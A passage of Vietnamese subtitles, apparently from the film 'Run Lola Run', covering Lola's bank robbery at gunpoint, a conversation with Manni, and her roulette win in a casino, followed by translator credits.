00:41:09.052 --> 00:41:10.428
Thì kiếm việc làm đi.

00:41:10.511 --> 00:41:13.514
Con sẽ kiếm, nhưng con cần tiền ngay bây giờ!

00:41:14.390 --> 00:41:18.436
Được thôi, lấy rồi thì cút khỏi đây.
Bao nhiêu?

00:41:18.853 --> 00:41:20.938
Không. Con cần nhiều hơn nữa.

00:41:21.355 --> 00:41:22.440
Mày bảo "nhiều hơn nữa" là sao?

00:41:23.107 --> 00:41:24.984
Nhiều nhiều hơn nữa!

00:41:25.651 --> 00:41:29.655
Cô không xấu hổ khi xông vào như thế này à?
Không thấy chúng tôi đang bận sao?

00:41:29.739 --> 00:41:31.907
Tôi chẳng quan tâm, đồ con bò cái ngu đần!
Tôi có chuyện của tôi.

00:41:34.785 --> 00:41:35.911
Sao mày dám...

00:42:05.607 --> 00:42:06.483
Sao hả?

00:42:24.000 --> 00:42:26.753
Này, có chuyện gì vậy?

00:42:28.421 --> 00:42:30.965
Hôm nay chỉ không phải là ngày của cháu thôi.
Không sao đâu.

00:42:31.466 --> 00:42:33.384
Cháu không thể có hết thảy mọi thứ.

00:43:11.255 --> 00:43:12.715
Ông đi với tôi.

00:43:15.092 --> 00:43:16.719
Mày điên rồi hả?

00:43:17.219 --> 00:43:20.598
- Mày nghĩ mày muốn làm gì thì làm sao?
- Câm mồm! Ông đi trước.

00:43:21.140 --> 00:43:22.349
Nghe này cô bé...

00:43:23.350 --> 00:43:25.728
cháu không biết sử dụng thứ đó đâu.

00:43:27.980 --> 00:43:29.481
Để ta đưa ra một đề nghị nhé.

00:43:52.045 --> 00:43:53.171
Lùi lại.

00:43:56.925 --> 00:43:59.010
- Này cháu, chúng ta có thể bàn bạc lại...
- Câm mồm!

00:44:03.515 --> 00:44:04.391
VỀ SAU NÀY

00:44:13.399 --> 00:44:14.234
Chết tiệt!

00:44:14.651 --> 00:44:15.860
Cái ổ khóa.

00:44:20.156 --> 00:44:21.115
Im lặng!

00:44:27.455 --> 00:44:29.665
Con đang làm cái quái gì vậy?

00:44:38.400 --> 00:44:39.266
Mở cửa ra!

00:44:52.605 --> 00:44:56.609
Lola, có camera ở khắp nơi.
Con sẽ chẳng thể nào thoát khỏi đây đâu.

00:44:57.318 --> 00:44:59.069
Cảnh sát sẽ tới ngay thôi.

00:44:59.486 --> 00:45:01.989
Ông cứ bảo họ luôn đến quá trễ cơ mà.

00:45:02.948 --> 00:45:05.409
Bỏ vô túi. 100.000.

00:45:16.003 --> 00:45:17.504
Thôi nào, cô bé.

00:45:18.922 --> 00:45:20.841
Để cha cháu yên đi.

00:45:21.883 --> 00:45:23.593
Cháu đâu muốn làm hại ai phải không?

00:45:24.803 --> 00:45:26.012
Tôi không biết.

00:45:43.863 --> 00:45:45.448
- Tôi không có đủ.
- Sao không?

00:45:47.242 --> 00:45:49.119
Ở đây chỉ có 88.000 thôi.

00:45:50.578 --> 00:45:53.748
Tôi phải lấy số còn lại ở dưới lầu.

00:45:55.667 --> 00:45:56.709
Được rồi, đi đi!

00:45:58.253 --> 00:45:58.962
Đi đi!

00:46:00.630 --> 00:46:01.923
Nhanh lên nào!

00:46:59.563 --> 00:47:00.897
100.000.

00:47:04.735 --> 00:47:05.777
Cho vào đó.

00:47:34.347 --> 00:47:35.473
Tạm biệt cha.

00:47:56.786 --> 00:47:57.662
Mình không tin được.

00:48:20.392 --> 00:48:22.061
Cô muốn bị giết hay sao?

00:48:27.941 --> 00:48:31.445
Chú ý! Cảnh sát đây!

00:48:31.904 --> 00:48:35.324
Tòa nhà đã bị bao vây.
Bước ra ngoài với tay đặt trên đầu.

00:48:37.451 --> 00:48:39.202
Thật là chuyện động trời mà!

00:48:39.619 --> 00:48:40.537
Mấy giờ rồi bà?

00:49:13.820 --> 00:49:15.446
Này, tránh ra mau!

00:49:17.365 --> 00:49:19.200
Cho tôi quá giang được không?

00:49:19.617 --> 00:49:22.120
- Cô điên à?
- Chờ đã!

00:50:29.102 --> 00:50:31.855
Chờ em, Manni! Em tới đây.

00:50:32.272 --> 00:50:33.565
Em gần tới đó rồi...

00:50:34.065 --> 00:50:35.150
Chờ em!

00:50:37.402 --> 00:50:40.155
Em sẽ làm được!

00:52:41.816 --> 00:52:43.985
Em sẽ làm gì nếu anh chết?

00:52:45.069 --> 00:52:47.405
- Em không để anh chết đâu.
- Ừ, nhưng mà...

00:52:48.823 --> 00:52:51.242
Nếu anh mắc bệnh chết người thì sao?

00:52:51.659 --> 00:52:53.786
- Em sẽ tìm ra cách.
- Thế nếu anh bị hôn mê...

00:52:54.203 --> 00:52:56.997
rồi bác sĩ bảo "Chỉ còn một ngày nữa"
thì sao?

00:52:57.415 --> 00:52:59.667
Em sẽ quẳng anh xuống biển...
Chữa bằng cách gây sốc.

00:53:00.084 --> 00:53:02.169
Nhưng nếu làm sao đó anh vẫn chết thì sao?

00:53:05.339 --> 00:53:07.466
- Anh muốn nghe gì đây?
- Nhanh lên, cho anh biết đi.

00:53:08.759 --> 00:53:11.595
Em sẽ tới đảo Rugen
rồi rải tro cốt anh bay theo gió.

00:53:11.679 --> 00:53:12.179
Rồi sao nữa?

00:53:14.640 --> 00:53:16.850
Em không biết.
Thật là một câu hỏi ngu ngốc.

00:53:17.267 --> 00:53:18.811
Anh biết em sẽ làm gì.

00:53:20.062 --> 00:53:22.272
- Em sẽ quên anh
- Không đâu!

00:53:22.689 --> 00:53:25.484
-  Chắc chắn là vậy rồi.
Em còn có thể làm gì chứ?

00:53:26.568 --> 00:53:28.862
Hẳn là em sẽ than khóc trong ít tuần.

00:53:29.279 --> 00:53:33.325
Cũng không phải ý tồi nhỉ.
Mọi người ai cũng động lòng thương.

00:53:34.076 --> 00:53:38.205
Rồi thì mọi thứ cực kì tệ hại,
và mọi người cảm thấy thương hại em.

00:53:39.498 --> 00:53:41.791
Em thể hiện cho mọi người thấy
em mạnh mẽ như thế nào.

00:53:42.209 --> 00:53:44.336
"Thật là một người phụ nữ kiên cường",
họ bảo.

00:53:44.419 --> 00:53:47.756
"Cô ấy lấy lại tinh thần thay vì
than khóc suốt ngày"

00:53:50.091 --> 00:53:53.344
Rồi bỗng dưng có một anh chàng tử tế nọ
với đôi mắt xanh biếc xuất hiện.

00:53:53.762 --> 00:53:56.514
Và anh ta thì cực kì đồng cảm,
lắng nghe em nói suốt ngày.

00:53:56.931 --> 00:53:58.975
Rồi em cứ huyên thuyên suốt với hắn.

00:53:59.809 --> 00:54:02.437
Em cho hắn biết rằng mọi thứ
khó khăn thế nào đối với em...

00:54:02.854 --> 00:54:07.608
Rằng em phải tự chăm sóc bản thân mình
và không biết chuyện gì sẽ đến...

00:54:10.111 --> 00:54:13.990
Sau đó em lao vào vòng tay của hắn ta
và loại anh ra khỏi danh sách của em.
Chuyện sẽ như vậy đó.

00:54:17.452 --> 00:54:18.286
- Manni này.
- Sao cơ?

00:54:18.703 --> 00:54:20.538
Anh vẫn chưa chết mà.

00:54:31.006 --> 00:54:32.007
Chưa ư?

00:54:47.606 --> 00:54:50.359
Lola, con đi mua sắm à?
Mẹ cần dầu gội!

00:54:53.195 --> 00:54:55.405
Đương nhiên, tôi biết sao
Sagittarius là sao chiếu mệnh của bà.

00:54:56.657 --> 00:55:01.620
Chắc rồi, càng nghĩ về nó
thì tôi lại không biết.

00:55:02.746 --> 00:55:05.248
Phải, nhưng bà cũng kết hôn rồi.

00:55:56.215 --> 00:55:57.091
VỀ SAU NÀY

00:56:56.775 --> 00:56:59.694
- Coi chừng chứ!
- Xin lỗi.

00:56:59.778 --> 00:57:01.780
Dám cá là cô biết lỗi rồi!

00:57:21.758 --> 00:57:23.343
Khoai tây chiên và xúc xích.

00:57:23.760 --> 00:57:24.552
Cho tôi một cái nữa.

00:57:30.141 --> 00:57:31.726
Mình đáng bị nguyền rủa mà.

00:57:32.727 --> 00:57:34.687
Cuộc sống đôi khi cũng đảo điên nhỉ?

00:57:38.024 --> 00:57:40.109
Thôi nào cậu nhóc.
Để tôi bao tiền nước.

00:57:43.487 --> 00:57:44.363
Ông cần xe đạp không?

00:57:46.782 --> 00:57:48.909
Giá đặc biệt nhé. 70 mác.

00:58:07.886 --> 00:58:08.846
Ông Meyer?

00:58:09.263 --> 00:58:11.056
Mọi chuyện ổn không?

00:58:40.835 --> 00:58:44.339
Nói đi, anh muốn có con với em không?

00:58:48.051 --> 00:58:49.135
Muốn.

00:58:53.348 --> 00:58:54.641
Ông Meyer đã tới.

00:58:56.351 --> 00:58:58.102
- Còn vài chuyện khác nữa.
- Không phải lúc này.

00:58:58.519 --> 00:59:00.855
Ông Meyer hỏi liệu ông ta nên đỗ xe
hay là chờ ông ra?

00:59:01.272 --> 00:59:02.648
Tôi sẽ ra.

00:59:03.316 --> 00:59:06.069
Đây là món quà tuyệt vời nhất
em từng tặng anh.

00:59:13.034 --> 00:59:14.368
Chúng ta gặp sau nhé?

00:59:31.010 --> 00:59:32.136
Xin chào.

00:59:39.560 --> 00:59:41.353
- Xin chào, cô Jäger.
- Chào ông.

01:00:31.736 --> 01:00:33.905
- Rất vui được gặp ông.
- Chào ông Meyer.

01:00:49.795 --> 01:00:51.672
Chờ đã!

01:00:53.591 --> 01:00:57.845
Ông biết không?
TÔi vừa có một cuộc chạm trán kì lạ.

01:00:58.471 --> 01:00:59.305
- Ồ vậy sao.
- Phải, với con gái ông.

01:01:00.556 --> 01:01:02.558
- Với ai?
- Con gái ông.

01:01:06.604 --> 01:01:08.689
Chết tiệt! Chết tiệt!

01:01:24.538 --> 01:01:25.414
Cuối cùng thì cháu cũng tới, cháu yêu.

01:01:56.569 --> 01:01:57.570
Cảm ơn.

01:01:58.071 --> 01:01:59.197
Đợi đã.

01:02:27.975 --> 01:02:30.436
Thế là tôi quyết định,
tốt nhất là tôi không có con.

01:02:30.853 --> 01:02:33.105
Tôi làm việc nhiều đến nỗi
bọn họ chẳng bao giờ thấy mặt tôi cả.

01:02:38.527 --> 01:02:39.487
Coi chừng!

01:03:12.894 --> 01:03:14.313
Mình làm được gì đây?

01:03:15.439 --> 01:03:16.940
Mình làm được gì đây?

01:03:18.984 --> 01:03:20.610
Mình làm được gì đây?

01:03:30.787 --> 01:03:31.955
Nhanh lên.

01:03:34.666 --> 01:03:35.834
Giúp tôi.

01:03:37.711 --> 01:03:38.837
Làm ơn.

01:03:41.089 --> 01:03:42.715
Chỉ lần này thôi.

01:03:45.093 --> 01:03:46.928
Tôi sẽ chạy mãi thôi, được chứ?

01:03:52.809 --> 01:03:54.102
Tôi đợi đây.

01:03:55.895 --> 01:03:57.188
Tôi đợi đây.

01:03:58.564 --> 01:03:59.857
Tôi đợi đây.

01:04:01.484 --> 01:04:02.693
Tôi đợi đây.

01:04:10.910 --> 01:04:12.787
Muốn chết hả?

01:04:46.904 --> 01:04:49.239
- Cái này hoạt động làm sao?
- Cô mua xèng...

01:04:49.323 --> 01:04:50.657
Rồi dùng đánh bạc thôi.
- Okay.

01:04:54.661 --> 01:04:56.621
Cô không thể vào đó như thế này.

01:04:56.705 --> 01:04:57.789
Tôi phải vào.

01:04:59.332 --> 01:05:02.169
Chỉ có 99 mác 20 xu.
Loại xèng nào đây chứ?

01:05:03.086 --> 01:05:03.879
Một xèng 100.

01:05:05.213 --> 01:05:06.548
Không đủ tiền.

01:05:07.465 --> 01:05:08.717
Chị làm ơn.

01:05:44.252 --> 01:05:46.629
Mời quí vị đặt cược.

01:05:54.345 --> 01:05:56.138
Mời đặt xèng.

01:06:06.690 --> 01:06:08.692
Không đặt nữa.

01:06:16.700 --> 01:06:19.620
Con 20, đen, chẵn, thông qua.
Không series.

01:06:24.833 --> 01:06:27.336
1.500 cho con đen.

01:06:33.967 --> 01:06:36.636
100 và 400.

01:06:40.182 --> 01:06:44.060
3.500 cho xèng 100 mác đặt con 20.

01:06:49.232 --> 01:06:51.192
Của cô đây...3.500.

01:07:04.956 --> 01:07:05.957
Mời cô đi với tôi.

01:07:11.212 --> 01:07:12.713
Một ván nữa thôi.

01:07:21.764 --> 01:07:23.307
Mời quí vị đặt cược.

01:08:30.039 --> 01:08:33.626
20, đen, chẵn, thông qua.

01:08:40.383 --> 01:08:41.718
Xin nhanh giùm.

01:08:41.801 --> 01:08:43.970
Tôi cần một cái túi nhựa.

01:09:36.355 --> 01:09:37.439
Dừng lại!

01:09:56.791 --> 01:09:58.043
Cái đó của tôi!

01:09:58.126 --> 01:09:59.502
Tôi biết chứ!

01:10:11.890 --> 01:10:13.183
Tôi rất tiếc.

01:10:14.100 --> 01:10:15.059
Còn tôi thì sao?

01:10:20.273 --> 01:10:22.233
Ít ra cũng cho tôi cái đó chứ.

01:11:31.218 --> 01:11:32.302
Cô làm gì ở đây?

01:11:57.201 --> 01:11:58.536
Tôi sẽ ở lại với ông ấy.

01:15:08.681 --> 01:15:10.433
Có chuyện gì vậy?

01:15:12.852 --> 01:15:14.270
Em chạy bộ đến đây à?

01:15:16.147 --> 01:15:18.858
Đừng lo. Mọi thứ đều ổn. Đi thôi.

01:15:27.700 --> 01:15:33.956
Có gì trong túi vậy?

01:15:35.700 --> 01:19:33.956
Dịch và edit bởi : [email protected]
Chỉnh sửa chút ít và sync time cho bản
m720p.x264.ac3-SINGH: hikagu2000
Xin đừng xóa đoạn credit này.

ZeroDay Forums Mini